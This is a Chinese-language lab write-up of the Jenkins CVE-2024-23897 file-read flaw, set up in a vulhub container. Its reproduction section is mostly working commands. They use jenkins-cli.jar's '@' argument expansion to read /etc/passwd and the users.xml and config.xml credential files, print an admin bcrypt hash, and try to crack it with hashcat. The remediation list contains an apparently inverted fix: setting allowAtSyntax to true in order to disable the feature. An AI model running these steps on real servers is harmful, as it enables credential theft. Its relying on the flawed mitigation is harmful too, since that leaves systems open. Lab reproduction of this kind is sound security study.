一、漏洞描述
Jenkins提供了一个命令行的接口,用户可以下载一个命令行客户端jenkins-cli.jar到本地,并调用该客户端来执行一些Jenkins的功能。
用户使用jenkins-cli.jar时,命令行是传到服务端解析的,而不是在jenkins-cli.jar里解析。Jenkins服务端解析命令行时使用了一个第三方库args4j,这个库实现了Linux中一个常见的功能——如果一个参数是以@开头,则会被自动认为是一个文件名,文件内容会被读取作为参数。Jenkins是在服务端解析的命令行参数,又支持args4j的这个特性,所以造成文件读取漏洞。该漏洞需要Jenkins启动时设置一个环境变量“DEBUG=1”。
二、漏洞危害等级
高
三、影响版本
Jenkins 版本<= 2.441
Jenkins 版本<= LTS 2.426.2
四、环境搭建
https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2024-23897
docker compose up -d
访问 http://your-ip:8080/ 默认 administrator’s 用户名 and 密码 are admin and vulhub.

五、漏洞复现
1、漏洞PoC
首先我们需要先下载jenkins-cli.jar,
Jenkins官方下载链接http://jenkins:8080/jnlpJars/jenkins-cli.jar
http://192.168.20.15:8080/jnlpJars/jenkins-cli.jar
2、漏洞测试
获取可用命令的完整列表(功能非常多):
java -jar jenkins-cli.jar -s http://192.168.20.15:8080/ help

最终使用命令如下:
java -jar jenkins-cli.jar -s http://192.168.20.15:8080/ connect-node "@/etc/passwd"

3、枚举Jenkins用户、提取密码哈希值
Jenkins 安装将有一个文件,其中列出了此处的所有有效用户。
/var/jenkins_home/users/users.xml
使用 connect-node 命令读取此文件,如下所示
java -jar jenkins-cli.jar -s http://192.168.20.15:8080 connect-node '@/var/jenkins_home/users/users.xml'

users.xml显示系统上的单个用户,admin,其文件夹为 /var/jenkins_home/users/admin_5421831398269555149
在 Jenkins 上的每个用户文件夹中,始终有一个包含用户密码哈希的config.xml文件。读取文件夹中的config.xml admin_5421831398269555149:
java -jar jenkins-cli.jar -s http://192.168.20.15:8080 connect-node '@/var/jenkins_home/users/admin_5421831398269555149/config.xml'

4、破解哈希值
找到的密码哈希并将其粘贴到 Kali 上名为 hashes.txt 的文件中。
vi hashes.txt
然后把哈希写进去
$2a$10$gCXrOLvfR9JpaHXu5PXvmev2hPbsxynrEG25urFUM62./c8wtjFU6
接下来,在Kali Linux中,我们将执行以下操作来破解此哈希值,复制RockYou密码字典的压缩文件 rockyou.txt.gz 到当前目录
cp /usr/share/wordlists/rockyou.txt.gz .
gunzip rockyou.txt.gz
hashcat hashes.txt rockyou.txt

下面使用3200模式来破解
hashcat -m 3200 hashes.txt rockyou.txt

哈希值一直无法破解,就不再浪费时间了。

六、漏洞修复
将 org.jenkins-ci.main:jenkins-core 升级至 2.442 及以上版本
禁用Jenkins CLI:设置 Java 系统属性 hudson.cli.CLICommand.allowAtSyntax 为 true
将 jenkins 升级至 2.442 及以上版本
将组件 jenkins lts 升级至 2.426.3 及以上版本